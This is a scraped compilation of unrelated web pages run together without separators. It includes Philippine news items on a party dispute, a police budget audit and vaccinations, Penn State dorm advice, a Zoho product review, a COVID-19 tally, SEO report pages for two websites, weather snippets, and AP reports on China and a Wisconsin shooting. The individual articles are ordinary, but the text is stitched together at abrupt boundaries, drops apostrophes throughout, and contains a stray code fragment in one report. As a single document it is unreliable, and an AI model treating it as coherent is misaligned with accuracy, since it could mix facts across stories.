Depende po sa magiging tingin nung nag-iimbestiga, noong committee po na tumitingin dito but ako po (That depends on the findings of the investigating committee but) from where Im coming from as a lawyer, that can be interpreted as disloyalty to your party, PDP-Laban acting secretary general Melvin Matibag said in an interview with reporters.

Because that is a direct attack to your party, not necessarily a personal comment against the President of the Republic but a comment directed to attack and humiliate partymates, he explained.

Matibag said Pacquiao, the party president, is facing possible disciplinary action, which may be in the form of a warning, censure, suspension, or even expulsion, based on the PDP-Labans constitution. He added that a preliminary report will be presented during the national council meeting on Friday, which will be led by Duterte despite objections from Pacquiao's group.

Under the party's charter, disloyalty to the party is a ground for expulsion by a two-thirds vote of the national council, or the chapter or council the erring member belongs to.

Senator Koko Pimentel, the partys executive vice chairman, said party members have the right to freedom of speech. He added that the other group led by party vice chairman Energy Secretary Alfonso Cusi just made an issue out of Pacquiao's statements.

The lawmaker also revealed receiving text messages asking him to drop his support for Pacquiao. He did not name names but said he dismissed the feelers.

Meanwhile, Pimentel accused the Cusi wing of dismissing Pacquiaos possible presidential bid to give way to an outsider," which he said threatens the very existence of the party.

Ang nakikita ko kasi, by supporting an outsider, liliko nila yung partido, the outsider wins. Talunan na lahat dito sa party kasi may behikulo na itong outsider, the senator said. Anong gagawin sa PDP-Laban? Ifo-fold in nila, lalamunin nito. Then we will cease to exist.

[Translation: What Im seeing is, by supporting an outsider, they will veer away the party, the outsider wins. Everyone will jump ship to that party because the outsider now has the political vehicle. What will they do to PDP-Laban? They will fold it in, eat it up. Then we will cease to exist.]

He said his mission now is to preserve the party that was co-founded by his father, the late Senate President Nene Pimentel.

Cusi has denied pushing for any standard bearer aside from Duterte as vice-presidential bet. But if the President chooses a running mate from outside the party, he said this would be decided by the members. These statements are seen as an openness to support the possible presidential bid of Davao City Mayor Sara Duterte. The father-and-daughter tandem led the recent Pulse Asia survey amid issues of constitutionality.
Metro Manila (CNN Philippines, July 14)  An audit report showed the Philippine National Police only spent 86 million out of its over 700 million budget for anti-communist programs in 2020.

According to state auditors, the PNP received 722.9 million under the National Task Force to End Local Communist Armed Conflict's funds in 2020, but only 240.8 million was obligated or pledged for payment.

"Records showed that 86,568,860.17 or 35.95% out of 240,802,722.97 obligated for CY 2020 was utilized for various procurements leaving a balance of 154,233,862.80 unpaid disbursements as of December 31, 2020," COA said.

Unsupported purchase

State auditors flagged Police Regional Office 5 (Bicol) for obligating over P6 million to purchase goods with no supporting documents.

Instead of carrying out public bidding, the PNP used the method of shopping which required the agency to submit price quotations for off-the-shelf goods.

"Procurement of goods through shopping had no proof of posting of the request for quotation," auditors noted.

Critics have questioned the transparency of the anti-insurgency task force's spending, especially as it received billions in budget allocations.

In a congressional hearing last year, COA chief Michael Aguinaldo admitted auditors have no way of tracing NTF-ELCAC's budget since it is categorized as intelligence funds.

Senate minority leader Franklin Drilon expects NTF-ELCAC to propose a 28 billion budget next year. He vowed to oppose the budget, warning that it may be used as campaign funds for the 2022 elections.
Metro Manila (CNN Philippines, July 14)  The Quezon City government has breached the 1-million mark in COVID-19 vaccine doses it has administered, Mayor Joy Belmonte announced Wednesday.

Speaking to CNN Philippines' The Source, Belmonte said the city reached its milestone on Tuesday night, as more residents complete their shots.

"I am very happy to announce that the QC government has already reached 1,014,000 doses, that was as of last night, yan po ang pinakahuli nating data (that's our latest data)," Belmonte told CNN Philippines' The Source.

"We have reached the 1 million mark and these are of course because of the second doses we have been administering," she added.

Belmonte said the city's target is to vaccinate 1.7 million people or 80% of its adult population. Of this number, 40% already received the first dose, while 20% already got the second dose.

The city government aims to administer 50,000 doses on Wednesday alone.

Belmonte expressed hope the administration of first doses to residents can resume as early as next week. Quezon City is among the local governments that have halted their first-dose inoculation due to supply shortage.

In a statement on Wednesday, the National Task Force Against COVID-19 said over 13 million Filipinos nationwide were already vaccinated against COVID-19. Of this number, over 9 million got their first dose while more than 3 million have completed their shots.
Metro Manila (CNN Philippines, July 13)  Newly-crowned Binibining Pilipinas International Hannah Arnold shared how she once tried her luck in the same pageant two years ago.

The 25-year-old beauty from Masbate told CNN Philippines' The Source on Tuesday what it was like to join Binibining Pilipinas for the first time in 2019 and the major lesson she learned when she failed to bring home the crown.

"Back in 2019, I guess there was so much expectations and I was kind of forcing myself to be someone else. However that night, I realized its better for me to just truly be me, Hannah Arnold," said Arnold, who finished as a top 15 finalist at the time.

"And thats what I really brought on July 11. I just gave my all to God and said its His plan if I will win or not and I just enjoyed the night so much," she said.

In the Binibining Pilipinas 2021 competition held at the Araneta Coliseum in Quezon City on Sunday, Arnold gave a winning answer during the Q&A segment.

CNN Philippines anchor Pinky Webb asked her: "Given the reach and power of social media, do you believe that genuine freedom of speech exists in the Philippines nowadays? Why or why not?"

Arnold responded by noting the importance of social media in choosing the country's next leaders.

"First of all, freedom of speech is a basic human right that we all must remember. It is important for a democracy. With our upcoming election, we definitely need freedom of speech. For example, on Twitter, we are limited to a few characters, and what I have seen in this Tweets is powerful. That has helped me think about who I'd like to vote for in the upcoming elections," she said.

Arnold succeeds Bea Patricia Magtanong as Binibining Pilipinas International. Should she win at the Miss International competition in November in Japan, she will be the country's sixth titleholder after Aurora Pijuan, Melanie Marquez, Precious Lara Quigaman, Bea Santiago, and Kylie Verzosa in 2016.

Three other queens were also crowned during the ceremony. Samantha Panlilio of Cavite won Binibining Pilipinas Grand International, Cinderella Faye Obenita of Cagayan De Oro - Misamis Oriental was named Binibining Pilipinas Intercontinental, while Maureen Montagne of Batangas was hailed as Binibining Pilipinas Globe. They will be representing the country in international pageants.
The South Hills School of Business & Technology in State College will host its World of Opportunity Concert Series at 6 p.m. rain or shine every Sunday in August, according to a release.

The series will kick off on Aug. 1 with the Bellefonte Community Band. Other performers will include the Triple A Blues Band on Aug. 8, Tommy Wareham & The Intrigues on Aug. 15, Zeropoint Big Band on Aug. 22 and Jackie Brown and the Gill Street Band on Aug. 29.

The concerts, which will last until 7:30 p.m., will be held at the South Hills School's North Lawn at 480 Waupelani Drive in State College. Grounds will open for spectators at 5 p.m. each Sunday, the release said.

Parking will be free, and attendees will be able to purchase lemonade. A drinking fountain and restrooms will be available as well.

According to the release, attendees are advised to bring beverages, chairs and blankets.

MORE BOROUGH COVERAGE

The Corner Room in State College temporarily closes for renovation The Corner Room located at 100 W. College Ave. in downtown State College temporarily closed 
Living away from home for the first time can be a challenge for incoming college students  regardless of if they decide to attend Penn State or not.

Not only are many college students separated from their friends and family members for the first time, but they also encounter a wide array of new hardships, from living with a random stranger to sharing a bathroom with many.

To help lessen incoming students nerves about dorm life, members of the Penn State community shared advice on how to successfully live on campus at one of the largest college campuses in the country.

Nina Sampogne, a member of Pollock Halls Residence Association, said the best thing students can do while living in dorms is get to know their neighbors because those are the people theyll see in the hallways and the bathrooms.

Sampogne (sophomore-biology) said knowing theres a friendly face next door can help ease students nerves and make the adjustment to college life easier to navigate.

I was super close with my neighbors when I first moved into campus, and it really helped me to not feel alone when I was getting used to [campus] and [when I was] eventually finding my place and really good friends, Sampogne said

For students who face apprehensions about meeting new people on campus, Sampogne said joining social media group chats and following Penn State accounts is one way to combat this anxiety and find new people.

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The Arboretum at Penn State to change visitor access, parking Penn State announced changes to parking and visitor access to The Arboretum at Penn State be

Literally any social media account with Penn State [in the handle], I followed it, Sampogne said. Just being open [to new opportunities] and having a good attitude about all of it is really important for having a successful first semester.

When filling out her on-campus living contract during freshman year, Sampogne said she selected random assignment, as many new students do during their first time on campus.

She said the experience was nerve-racking, especially since her assigned roommate wasnt active on social networking apps, which limited communication before the semester began.

I feel like everyone comes into college and thinks theyre going to become best friends with their roommate, Sampogne said. But that just didnt happen for me.

Sampogne said she believes students should come in with an open mind and be prepared for anything  especially in terms of dorm life.

To maintain good relations with ones roommate, Sampogne said students should keep their living area clean and possessions on their own side.

Besides personal space, Sampogne said open communication is key to dorm life. Throughout the semester, she said each roommate should consistently check in with the other, inquiring if theres room for improvement.

To allow for a smooth transition into dorm life, Sampogne said students should plan ahead, especially in terms of packing for move-in week.

She said coordinating with ones roommate ahead of move-in is helpful in terms of saving time and dorm space. In a shared living space, Sampogne said students dont typically require duplicates of appliances and luxury items, like a TV.

Over time, Sampogne said students will learn which items are essential and which are unnecessary and space fillers in their dorm room.

Sampognes Keurig was the one item in her dorm room she could not live without.

MORE CAMPUS COVERAGE

However, she said she learned from her fall dorm experience and had to purchase unexpected items  like numerous extension cords and a full-length mirror  to make on-campus living easier for the spring semester.

Overall, Sampogne said shed warn students that on-campus living is a learning experience that takes time to adjust to.

Its going to be alright. It might start out a little bit wobbly or get kind of crazy, but its a really good decision [to live on campus], and Im happy that I made it too, Sampogne said. I [was able] to meet my best friends here, so just trust the process.

Students like Rania Wright similarly said freshmen should take advantage of the opportunities around them, especially when they first arrive on campus.

Just take advantage of what Penn State has to offer, Wright (sophomore-political science) said. If theres something that interests you  and your professors and people around you bring it up  just go for it. You dont really need to make a commitment to anything. Just keep an eye out for those opportunities.

Taking advantage of events planned by her floors resident assistant was how Wright met a lot of friends in the beginning of the semester.

Wright said another helpful activity provided by her RA was a roommate agreement worksheet that allowed roommates to coordinate their ground rules to follow throughout the year.

For people assigned with random roommates, Wright said they should attempt to meet before their designated move-in date to eliminate potential awkwardness.

Maybe youll be best friends with your roommate, and maybe you wont be, Wright said. The biggest thing is to find a way to talk to each other and make sure you are communicating throughout the semester.

Many students including Wright identified communal areas  like bathrooms  as areas of concern for incoming students.

Adjusting to the communal bathrooms took time and patience, Wright said. However, she said they reminded her of the traditional summer camp experience.

Make sure to buy shower shoes  I know everyone will tell you that, but its really that gross  and you will want shoes to wear in the shower, Wright said. Please, everyone should do that for good hygiene.

Despite the grossness of the bathrooms, she said she had some of the best conversations in the bathroom at 9 a.m. in the morning with random people who lived on her floor.

Additionally, Wright said listening to music in communal areas is typically tolerated by others as long as its done considerately. Finding people with shared music tastes can also be a friendship starter, she said.

If you are moving into a shared bathroom and you want to listen to music, thats great and awesome, but dont play the music loud, Wright said. If you play it too loud, people will complain, and they will address that.

Wright said new students should be prepared for the scheduling uncertainty that comes with dorm life, especially when using shared common areas.

For instance, she said she learned to adjust her schedule according to bathroom availability on her floor.

You never know if they are all going to be filled or if the one you typically use because it has the best water pressure will be unavailable, Wright said. Just plan your time accordingly and give yourself a nice little window for when you want to shower or do certain activities.

Maintaining ones sleep schedule can also be problematic at college due to the unpredictableness of the atmosphere, Wright said.

Since some students frequently come home late, get up early and pull all-nighters, Wright said there can be loud nights where students get minimal sleep.

Although shes personally a sound sleeper, Wright said many of her friends encounter sleep trouble and combat the issue through earplugs and melatonin.

With more people living in on-campus housing this fall compared to during the coronavirus pandemic, Wright said she believes insomnia may be a problem for some students.

MORE CAMPUS COVERAGE

State Colleges Lila Yoga pivots to fully virtual format after closing its doors After more than a year since the beginning of the pandemic, many local businesses in State C

However, she said students will likely find the environment at Penn State  with lessened restrictions and increased students  more open and like the typical college experience.

Ethan Thomas, president of the Association of Residence Hall Students, said the upcoming fall semester will be especially unique because many students didnt live on campus amid the pandemic.

We have thousands of people who are freshmen and sophomores whove never been on campus before, Thomas (junior-political science and history) said. So, theres a big group of people out there to meet and talk to and just get to know the campus [with], and I think thats a really special thing.

Thomas said being social and finding friends through various events around campus helps new students adjust to on-campus living in general.

Its important for students to feel comfortable getting out and about [around town] and going to on-campus events with their fellow students, Thomas said. The friends that Ive made and stuck with most closely were those I met in the first few weeks of my freshman year.

With about 46,000 students enrolled at University Park campus, he said there are multiple opportunities to meet people  especially at the beginning of the fall semester.

There are so many people on campus, so the odds of you finding someone that you can get along with are extremely high, Thomas said. So, just be yourself and have a good time.

Since the pandemic limited in-person events over the past two years, Thomas said its likely organizations will take advantage of the lessening restrictions and host an assortment of activities this year.

MORE CAMPUS COVERAGE

Thomas also said getting out of ones dorm room and exploring the new environment is important in making Penn State feel homey.

Knowing different people across campus will also make campus feel like a community, Thomas said.

The idea that you will only hang out with people in your major  that is so wrong, Thomas said. You can make friends with people from completely different backgrounds, and thats what makes the friendships special because you get to learn so much from each other.

Besides the benefits of networking with people across campus, Thomas said bonding with those in ones dorm will allow for less anxiety about the new living environment.

However, Thomas said he believes establishing boundaries from the start is essential for fostering strong friendships among roommates.

To help develop friendships between roommates, he said each individual should share their pet peeves  such as an irritation about trash laying around the room  within the first few days after moving in.

Setting those boundaries early  and setting them strong  I think is really important in building a strong friendship with your roommate or other people that youre living with, Thomas said. Then, you wont step on each others toes. When youre not doing that, you can feel safer and more comfortable and can open up more, which allows you to form those strong bonds that can last a long time.

Maria Howe, vice president of ARHS, said RAs are really helpful tools during students initial adjustment period. She said effective RAs can make the dorms feel like a home away from home.

If your floor can become more of a community, [then] that can make the transition into dorm life  which is obviously a lot different than home life for many people  a lot easier, Howe said.

Not only can RAs guide students through the typical adjustment process at the beginning of the semester, but Howe said RAs can also help resolve roommates conflicts and tensions that may occur.

If [you have a conflict or concerns about your roommate and] youre shy or uncomfortable with speaking to your roommate directly, you could also talk to your RA, Howe said. Maybe the three of you  or more, depending on how many roommates you have  can meet together and work through the issues to find the best solution.

Above everything else, Howe said she hopes incoming students know they dont need to be experts in everything, and its okay to feel like [they] dont know anything because everyone feels like that when they first come in.

Regardless of a students confidence about their upcoming Penn State experience, Howe said dreaming about attending college and actually attending college are two separate beasts.

While some students may think they have it all figured out, Howe said unexpected challenges often develop.

You could be the most prepared student and have dreamed about Penn State for the last 10 years, but when everyone gets on campus, its an equalizing factor, Howe said. When everyone gets on campus, they start with this clean slate that can be shaped from there.

Despite how frightening college can be, Howe said many people in the Penn State community are ready to help newcomers and lead them down a path toward success.

People dont expect you to know things. Freshmen come in and think they have to know everything  where things are on campus, what they should be doing with their major or what people they should be [interacting with], Howe said. But the reality is, people know that youre a freshman. They know youre new. So, people are really willing to help you out  whether that be giving some basic directions or helping you get acclimated to campus.

MORE CAMPUS COVERAGE
This year our dine and drink business locations throughout the Gorge have suffered with closures. You can help support your favorites by purchasing take out and gift cards. Many of these business will offer curb-side delivery and some will deliver to your home. Lets keep the Gorge going strong!
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Every 21st-century enterprise is  or should be  a data-driven enterprise. But like mining for gold, the raw data means nothing unless you know where to shine your light, and data itself can guide that decision. This is what Zoho Corporation aims to achieve with its latest announcement.

Business intelligence as a service

The company is touting an end-to-end, self-service Business Intelligence platform that makes use of AI-driven data analytics to help expose critical patterns and insights.

Weve discussed the emerging importance of Robotic Process Automation (RPA) before; this is arguably an expression of that, given that the software delivers insights generated through data analytics. Of course, RPA doesnt mean much if you or your colleagues dont or cant make use of it.

The consumerization of IT means that even the most complex enterprise-focused solutions must be intuitive and easy to understand, (unlike, for example, Safari in the iOS 15/macOS Monterey betas). We know that if software isnt approachable, it doesnt get used  or gets replaced with non-authorized applications that work better, placing corporate data at risk.

Zoho Zoho Business Intelligence platform offers dashboards for mobile users.

Zoho seems to have taken the need to make tech usable to heart. In addition to delivering deep insights based on business data  and also on data brought in from other stacks  its solution lets users search for trends using natural language. You might ask for the top 10 sales in Washington state, for example, or ask the system to deliver data comparing those sales with products popular in San Francisco.

Thats great, as it means you dont necessarily need to dig through dusty product manuals to figure out complex coding to yield such results.

In a Zoho statement, Andrew Archer, manager at record label, Global Underground, said: As a record label, we deal with millions of micro-transactions across thousands of titles and hundreds of stores in dozens of territories. Zoho DataPrep gives us a deep dive into the data, enabling the creation of valuable analytics in seconds at a fraction of the cost of other platforms."

The Zoho BI platform combines Zoho DataPrep with an enhanced version of Zoho Analytics. The company says it "enables organizations to cleanse, unify, and analyze cross-departmental data, obtain an encyclopedic view of the company, and ultimately move toward a more competitive business strategy based on real-time insights.

What you get

The platform provides pre-built, visual dashboards, comprehensive data integrations, data preparation, augmented and embedded BI, security and privacy capabilities, flexible deployment models (cloud or on-premise), and scalability.

DataPrep is the machine learning core of whats available. Use this to create and manage data before making it ready for analysis.

is the machine learning core of whats available. Use this to create and manage data before making it ready for analysis. Data Stories combines site building and presentation software. This lets you embed live reports into websites and/or presentations.

combines site building and presentation software. This lets you embed live reports into websites and/or presentations. Ask Zia, Zoho's conversational AI, enables business users to surface data through natural language queries. It also offers textual narration of key insights from reports and dashboards, and can run and analyze different scenarios to help inform better business decisions and crisis preparedness.

One component I find promising is that other companies can develop apps that integrate with Zoho. The Zoho BI Platform is extensible to more than 250 data sources, including Zendesk, HubSpot, Microsoft, Mailchimp, Stripe and Google. This makes it easier for businesses to integrate and analyze data sourced from diverse third-party systems.

The ability to build and share analytic apps is yet another differentiator, so Im particularly excited to see Zoho enabling customers to publish breakthrough, data-driven applications, Doug Henschen, principal analyst at Constellation Research, said in a statement.

That kind of multi-stack data analytics can yield actionable insights businesses might otherwise miss  its the kind of data-driven BI larger corporations have been using for a while, so its good to see this made more available.

The Zoho BI Platform, which includes Zoho Analytics and Zoho DataPrep, is available immediately in two versions, cloud and on-premises.

On a monthly basis, the cloud version is $8 per user, per month.

The on-premises version is $30 per user, per month.

For the annual option, the cloud version is $96 per user, per year.

The on-premises version is $360 per user, per year.

DataPrep is also available as a standalone product with pricing starting at $40/month. Let me know your experiences should you choose use it.

Please follow me on Twitter, or join me in the AppleHolics bar & grill and Apple Discussions groups on MeWe.
UK needs at least 50k nurses until 2024: Labour Department

The United Kingdom (UK) needs at least 50,000 nurses until 2024 as it opens its labour market for more job opportunities for Filipino professionals, according to the Department of Labour and Employment (DoLE).

The Inter-Agency Task Force on the Management of Emerging Infectious Diseases (IATF) has exempted the UK from the existing 6,500 yearly deployment cap for nurses. Photo courtesy: Wikimedia

In a report to Labour Secretary Silvestre Bello 3rd, London Labour Attache Amuerfina Reyes said that apart from higher demand in health care services, the Philippine Overseas Labour Office (POLO) also observed a growing market for workers in the financial sector, specifically for positions such as accountants, comptrollers, auditors, and also some jobs in the agriculture sector, as seasonal workers.

"Based on the job orders that we have been receiving, there are emerging opportunities for our overseas Filipino workers (OFWs) here in the financial sector. We can see an increase in the demand for accountants and auditors. Another opportunity is up for those seasonal agriculture workers in the potato farms," Reyes said.

She said Filipino workers in the UK are generally in a good working environment, adding that upon their arrival in the UK, they are scheduled for vaccination following the end of their quarantine period.

'Upon their arrival here in the UK, nurses are getting 19 to 20,000 per year. If they pass the exam, just like the one PRC administers in the Philippines, they will receive 23,000 to 24,000 per year. They are getting more from overtime pay, on top of their opportunity of becoming permanent residents after 5 years, if their track records are clean,' the POLO official added.

The Inter-Agency Task Force on the Management of Emerging Infectious Diseases (IATF) has exempted the UK from the existing 6,500 yearly deployment cap for nurses.

The IATF imposed the deployment cap on nurses to make sure that the Philippines would still have enough for the local healthcare system as the country continues to grapple with the health pandemic.
07/14/2021

Photo (c) Silvio Ariente - Getty Images Coronavirus (COVID-19) tally as compiled by Johns Hopkins University. (Previous numbers in parentheses.)

Total U.S. confirmed cases: 33,921,025 (33,895,607)

Total U.S. deaths: 607,863 (607,523)

Total global cases: 188,015,773 (187,512,171)

Total global deaths: 4,052,630 (4,043,963)

U.S. sees a surge in new cases

Life has seemed almost normal in recent weeks, at least for Americans who are fully vaccinated. But for those who have chosen not to get a vaccine, the threat is still very real. In the last week, U.S. cases of the coronavirus have surged.

The seven-day average of newly confirmed cases has climbed to about 23,300 a day, almost double the average from a week ago. Health officials attribute the sudden rise to the Delta variant spreading among people who are not vaccinated.

Hospitalizations, ICU admissions, and deaths all lag behind new cases, so we expect those to continue to get worse, substantially worse over the next two to three weeks, said Dr. Andrew T. Pavia, chief of pediatric infectious diseases at the University of Utah School of Medicine, on a call with other health professionals.

Cruise line sues Florida over vaccine passport ban

Norwegian Cruise Lines has filed a lawsuit against the state of Florida, seeking to overturn its law prohibiting businesses from requiring customers to show proof of vaccination against COVID-19. The company says requiring all persons aboard its ships to be vaccinated is necessary to prevent outbreaks of the virus.

"The State of Florida has indicated that it is otherwise preventing (Norwegian) from safely and soundly resuming passenger cruise operations from Miami, Florida, ... in the way that this cruise line has determined will be best for all concerned -- with the benefit of documentation confirming that all of its passengers and crew have been fully vaccinated against COVID-19," the suit said.

In a statement to the media, Florida Gov. Ron DeSantis office called requiring proof of vaccination discrimination. Therefore, Norwegian faces a $5,000 fine from whom they demand a vaccination status," the statement said.

Study finds food insecurity increased during the pandemic

Its been well documented how the pandemic changed consumers food-buying behavior. Online ordering and curbside pickup grew exponentially.

Researchers at the University of Connecticut have completed a study showing the pandemics effects were not uniform. Food insecure consumers behaved differently in ways that increased their insecurity.

The study found that food-secure individuals tended to spend more per trip to stockpile food, reduce the potential for COVID-19 exposure, and prepare for food shortages. But food-insecure individuals could not prepare in the same way because they had much more constrained budgets and resources. Although food-insecure people made fewer grocery shopping trips due to concerns about contracting COVID-19, they did not increase spending per trip.

Around the nation
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Congratulations, 180shop.com.ve got a very good Social Media Impact Score! Show it by adding this HTML code on your site:

180shop.com.ve scored 75 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 4/5.0 Stars by Social Team

This CoolSocial report was updated on 19 Dec 2012, you can refresh this analysis whenever you want.

180shop.com.ve is very popular in Facebook. It has 26 twitter followers. Furthermore its facebook page has 68 likes.

The total number of people who shared the 180shop homepage on StumbleUpon. This is the sum of two values: the total number of people who shared, liked or recommended the 180shop homepage on Facebook + the total number of page likes (if 180shop has a Facebook fan page). This is the sum of two values: the total number of people who shared the 180shop homepage on Twitter + the total number of 180shop followers (if 180shop has a Twitter account). The total number of people who shared the 180shop homepage on Google Plus by a google +1 button. The total number of people who shared the 180shop homepage on Delicious.

Basic Information

PAGE TITLE Tu tienda catalogo... - 180 Shop C.A. DESCRIPTION 180 Shop. Tu tienda catalogo. Venta al mayor y detal de calzados nacionales e importados. KEYWORDS 180, 180 shop, 180 shop, tu tienda catalogo, tienda catalogo, catalogo, tienda, comprar, comprar en linea, calzados, zapatos, shoes, accersorios, casuales, deportivos, damas, mujeres, caballeros, hombres, ninas, ninos, jovenes, accesorios OTHER KEYWORDS



The title found in the head section of the homepage. The URL (Uniform Resource Locator) is the address of the site. The keywords meta-tag found in the head section of the homepage. CoolSocial advanced keyword analysis tool is able to detect and analyze every keyword on each page of a site. The description meta-tag found in the head section of the homepage.

Domain and Server

DOCTYPE XHTML 1.1 CHARSET AND LANGUAGE Spanish UTF-8Spanish DETECTED LANGUAGE Spanish Spanish SERVER Apache OPERATIVE SYSTEM Linux Linux

Character set and language of the site. Represents HTML declared type (e.g.: XHTML 1.1, HTML 4.0, the new HTML 5.0) Operative System running on the server. The language of 180shop.com.ve as detected by CoolSocial algorithms. Type of server and offered services.

Site Traffic trend during the last year. Only available for sites ranked <= 100000 in the world.

Referring domains for 180shop.com.ve by MajesticSeo. High values are a sign of site importance over the web and on web engines.

Facebook link

FACEBOOK PAGE LINK FOUND FACEBOOK PAGE www.facebook.com/pages/180shop/156660787752014 DESCRIPTION ours': { 'mon_1_open': '08:30 LIKES 68 PEOPLE TALKING ABOUT 1 PAGE TYPE Local business TIMELINE PAGE TIMELINE

The description of the Facebook page describes website and its services to the social media users. A Facebook page link can be found in the homepage or in the robots.txt file. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. Facebook Timeline is the new layout of Facebook pages. The total number of people who like website Facebook page. The type of Facebook page. The URL of the found Facebook page.

Twitter account link

TWITTER PAGE LINK FOUND TWITTER PAGE twitter.com/#!/180shop DESCRIPTION Ventas de calzados al mayor y detal Venta por Catalogo. ACCOUNT CREATED ON 06 Sep 2011 LOCATION Maracay Venezuela TWEETS 589 FOLLOWERS 26 LISTED 2
Asiandvdpass.com scored 42 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 2/5.0 Stars by Social Team

This CoolSocial report was updated on 1 Jan 2013, you can refresh this analysis whenever you want.

This is the sum of two values: the total number of people who shared the asiandvdpass homepage on Twitter + the total number of asiandvdpass followers (if asiandvdpass has a Twitter account). The total number of people who shared the asiandvdpass homepage on Delicious. This is the sum of two values: the total number of people who shared, liked or recommended the asiandvdpass homepage on Facebook + the total number of page likes (if asiandvdpass has a Facebook fan page). The total number of people who shared the asiandvdpass homepage on Google Plus by a google +1 button. The total number of people who shared the asiandvdpass homepage on StumbleUpon.

Basic Information

PAGE TITLE AsianDVDpass - 100% Asian DVD Archive DESCRIPTION KEYWORDS OTHER KEYWORDS



The keywords meta-tag found in the head section of the homepage. The description meta-tag found in the head section of the homepage. The URL (Uniform Resource Locator) is the address of the site. CoolSocial advanced keyword analysis tool is able to detect and analyze every keyword on each page of a site. The title found in the head section of the homepage.

Domain and Server

DOCTYPE XHTML 1.0 Transitional CHARSET AND LANGUAGE UTF-8 DETECTED LANGUAGE English English SERVER Apache OPERATIVE SYSTEM Linux Linux

Operative System running on the server. Type of server and offered services. Represents HTML declared type (e.g.: XHTML 1.1, HTML 4.0, the new HTML 5.0) The language of asiandvdpass.com as detected by CoolSocial algorithms. Character set and language of the site.

Site Traffic trend during the last year. Only available for sites ranked <= 100000 in the world.

Referring domains for asiandvdpass.com by MajesticSeo. High values are a sign of site importance over the web and on web engines.

Facebook link

FACEBOOK PAGE LINK NOT FOUND

The type of Facebook page. The total number of people who like website Facebook page. A Facebook page link can be found in the homepage or in the robots.txt file. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. The URL of the found Facebook page. Facebook Timeline is the new layout of Facebook pages. The description of the Facebook page describes website and its services to the social media users.

Twitter account link

TWITTER PAGE LINK NOT FOUND
Corsicana, TX (75110)

Today

Mostly clear skies this evening will give way to occasional showers overnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 40%..

Tonight

Mostly clear skies this evening will give way to occasional showers overnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 40%.
Bad news, fans of Hyperpop, ABBA, Maroon 5, and basically any type of music that isn't a slow, romantic waltz best suited as the soundtrack to a late 1800's period drama  it seems a good chunk of songs your workout playlist staples, from Psy's Gangnam Style to "Work Bitch" by Britney Spears have officially been banned in gyms in and around South Korea's capital of Seoul. Earlier this week, officials in the East Asian nation enacted new guidelines requiring that gyms refrain from playing any song above 120 beats per minute during workout classes in an attempt to curb the country's fourth wave of Covid-19. The logic? According to the nation's Health Ministry, harsh breathing from intense activities can spatter a lot of saliva.

"When you run faster, you spit out more respiratory droplets, so thats why we are trying to restrict heavy cardio exercises, Son Young-rae, a spokesperson for the government agency explained during a radio interview earlier this week, per The Korean Herald.

Although Covid-19 cases in South Korea have recently reached record highs, hitting 1,440 new daily infections on Tuesday and prompting the need for further social distancing measures, some are questioning just how effective this measure is at preventing the spread of coronavirus, and how exactly these new rules will be enforced. "Playing cheerful tracks like BTS songs is to cheer up our members and the overall mood, but my biggest question is whether playing classical music or BTS songs has proven to have any impact on spreading the coronavirus," explained Kang Hyun-ku, who owns a gym in Seoul. "Nothing has been clearly proven yet."

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Despite this skepticism, officials maintain that this is a necessary measure in slowing the spread of Covid-19. We are now faced with the worst crisis since Covid-19 pandemic started here, President Moon Jae-in said on Monday. I am so sorry to ask the people to bear with the situation a bit longer."

Hey, at least we still have Eye of the Tiger?

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Scattered thunderstorms this evening followed by a few showers overnight. Low 64F. Winds light and variable. Chance of rain 50%.
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Texas State Rep. Senfronia Thompson, dean of the Texas House of Representatives, speaks as Democratic members of the Texas legislature hold a news conference at the Capitol in Washington, Tuesday, July 13, 2021. The Democrats left Austin to deprive the Legislature of a quorum as they try to kill a Republican election reform bill.
BEIJING (AP)  China on Tuesday denounced an appeal by Treasury Secretary Janet Yellen for a U.S.-European unified front against Chinese unfair economic practices and human rights abuses.

China strongly deplores and rejects Treasury Secretary Yellens remarks, said a Foreign Ministry spokesperson, Zhao Lijian.

Yellen issued the appeal Tuesday during a meeting with European Union officials in Brussels. President Joe Biden is trying to revive traditional alliances following the America First policies of his predecessor, Donald Trump.

Together, we need to counter threats to the principles of openness, fair competition, transparency and accountability, Yellen said, according to a text released by her department.

These challenges include Chinas unfair economic practices, malign behavior and human rights abuses, Yellen said. The more we confront these threats with a unified front, the more successful we will be.

Zhao rejected the criticism, saying Beijing always firmly supported the multilateral trading system under the World Trade Organization.

The ruling Communist Party denies accusations that it steals or pressures U.S., European and other foreign companies to hand over technology and shields its fledgling technology and other industries from competition in violation of its WTO commitments.

European governments also are frustrated that their companies are barred from acquiring most assets in China while Chinese companies, sometimes financed by state banks, have spent billions of dollars to acquire foreign technology and brands.

Beijing also rejects accusations of abuses against predominantly Muslim ethnic minorities in the Xinjiang region in China's northwest. The Biden administration renewed genocide allegations Monday against China in an annual State Department report to Congress.

The U.S. is obsessed with playing up and churning out Xinjiang-related lies, Zhao said. He added that the U.S. is in no position to judge the human rights situation in other countries and should make more effort in solving its own human rights problems.

Washington and the European Union have imposed travel and financial sanctions on Chinese officials blamed for human rights abuses.

We do not bully and impose sanctions at every turn, nor do we exercise long-arm jurisdiction against other countries enterprises, Zhao said, referring to U.S. sanctions.

Biden has said he wants better relations with Beijing but has yet to say whether he will roll back tariff hikes on Chinese goods and other sanctions imposed by Trump in a fight with Beijing over its technology ambitions and trade surplus.
CALEDONIA, Wis. (AP)  An undercover sheriff's investigator who was shot at least twice in an exchange of gunfire that killed a homicide suspect at a Wisconsin gas station is recovering at a hospital, authorities said.

Racine County Sheriff Christopher Schmaling said the investigator, whose name hasn't been released, wanted to know as he was being treated whether his gunfire had wounded any innocent bystanders. No one else was hurt as he brought down the suspect in Caledonia on Tuesday.

And he was thinking to himself As Im firing, are my rounds going to hit somebody innocent? And thats what he asked me (at the) hospital, while he lied there with bullet holes in his own body, he said Sheriff, did I hit anybody innocent? Thats what he asked. Nothing else, Schmaling told the Racine County Board on Tuesday night, The Journal Times reported.

The investigator is recovering at Ascension All Saints Hospital in Racine and is doing well, the sheriff said. Authorities haven't yet released the name of the 32-year-old Hartland man he shot and killed at the Mobil gas station.

